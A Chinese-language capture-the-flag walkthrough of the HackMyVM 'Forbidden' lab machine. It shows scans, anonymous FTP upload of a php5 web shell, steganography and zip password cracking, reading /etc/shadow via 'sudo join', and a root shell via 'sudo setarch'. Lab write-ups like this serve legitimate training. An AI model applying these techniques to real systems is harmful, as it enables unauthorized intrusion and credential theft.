HackmyVM-Forbidden

  • ~4.33K 字
  1. 1. 信息搜集
  2. 2. FTP匿名登录
  3. 3. jpg隐写
  4. 4. 提权
    1. 4.1. 任意文件读取
    2. 4.2. setarc提权

信息搜集

1
2
3
4
5
6
7
8
9
10
11
12
13
┌──(root㉿kali)-[~/Desktop/tmp/forbidden]
└─# nmap 192.168.31.224 -p-
Starting Nmap 7.95 ( https://nmap.org ) at 2025-06-12 00:18 EDT
Nmap scan report for 192.168.31.224
Host is up (0.0011s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE
21/tcp open ftp
80/tcp open http
MAC Address: 08:00:27:C3:73:5D (PCS Systemtechnik/Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 5.14 seconds

web页面是一段话

1
2
3
SECURE WEB/FTP  安全 WEB/FTP
Hi, Im the best admin of the world. You cannot execute .php code on this server so you cannot obtain a reverse shell. Not sure if its misconfigured another things... but the importart is that php is disabled. -marta
嗨,我是世界上最好的管理员。您无法在此服务器上执行.php 代码,因此无法获取反向 shell。不确定是不是配置错了其他东西......但关键是 PHP 被禁用了。-玛尔塔

扫描一下目录

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
┌──(root㉿kali)-[~/Desktop/tmp/forbidden]
└─# gobuster dir -u "http://192.168.31.224/" -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-m
edium.txt -x .txt,.php,.html
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://192.168.31.224/
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Extensions: php,html,txt
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/index.html (Status: 200) [Size: 241]
/robots.txt (Status: 200) [Size: 10]
/note.txt (Status: 200) [Size: 75]

robots.txt里面是note.txt

1
2
3
The extra-secured .jpg file contains my password but nobody can obtain it.

额外安全的 .jpg 文件包含我的密码,但没有人可以获取它。

扫描一下jpg文件,扫描不到东西

FTP匿名登录

看看ftp服务,可以匿名登陆

1
2
3
4
5
ftp> ls
229 Entering Extended Passive Mode (|||27129|)
150 Here comes the directory listing.
drwxrwxrwx 2 0 0 4096 Oct 09 2020 www
226 Directory send OK.

有一个www的文件夹,上传很多发现只有php5才可以解析,蚁剑连接

jpg隐写

然后发现有一个jpg的文件,联合上之前的note.txt,用stegseek对jpg进行解密,可以分离出来一个压缩包,爆破压缩包密码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
┌──(root㉿kali)-[~/Desktop/tmp]
└─# zip2john TOPSECRETIMAGE.jpg.out>pas
ver 2.0 efh 5455 efh 7875 TOPSECRETIMAGE.jpg.out/pass.txt PKZIP Encr: TS_chk, cmplen=66, decmplen=71, crc=E22A2397 ts=9831 cs=9831 type=8

┌──(root㉿kali)-[~/Desktop/tmp]
└─# john pas -w=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (PKZIP [32/64])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
secret (TOPSECRETIMAGE.jpg.out/pass.txt)
1g 0:00:00:00 DONE (2025-06-12 01:45) 100.0g/s 819200p/s 819200c/s 819200C/s 123456..whitetiger
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

密码是secret,解压出来

1
2
3
4
5
6
7
8
┌──(root㉿kali)-[~/Desktop/tmp]
└─# cat pass.txt
- .... .
.--. .- ... ... .-- --- .-. -..
.. ... ---...
#莫斯密码解密:THEPASSWOR6S:

vGffXfDreF453!

反弹个shell出来

提权

查看passwd文件发现有三个用户

1
2
3
markos:x:1001:1001:,,,:/home/markos:/bin/bash
peter:x:1002:1002:,,,:/home/peter:/bin/bash
marta:x:1000:1000:marta,,,:/home/marta:/bin/bash

他说的这个密码vGffXfDreF453!提那个用户都不对,最后看大佬博客才发现,jpg的名字是marta密码

任意文件读取

提权到user后查看sudo -l

1
2
3
4
5
6
7
marta@forbidden:~$ sudo -l
Matching Defaults entries for marta on forbidden:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User marta may run the following commands on forbidden:
(ALL : ALL) NOPASSWD: /usr/bin/join

可以用来读取文件,读取shadow文件,然后用john爆破密码

1
boomer           (peter)

爆破出来peter的密码是boomer

setarc提权

1
2
3
4
5
6
7
peter@forbidden:/home/marta$ sudo -l
Matching Defaults entries for peter on forbidden:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User peter may run the following commands on forbidden:
(ALL : ALL) NOPASSWD: /usr/bin/setarc

然后setarc提权即可

1
2
3
4
peter@forbidden:/home/marta$ uname -m
x86_64
peter@forbidden:/home/marta$ sudo setarch x86_64 /bin/bash
root@forbidden:/home/marta#
赞助喵
非常感谢您的喜欢!
赞助喵
分享这一刻
让朋友们也来瞅瞅!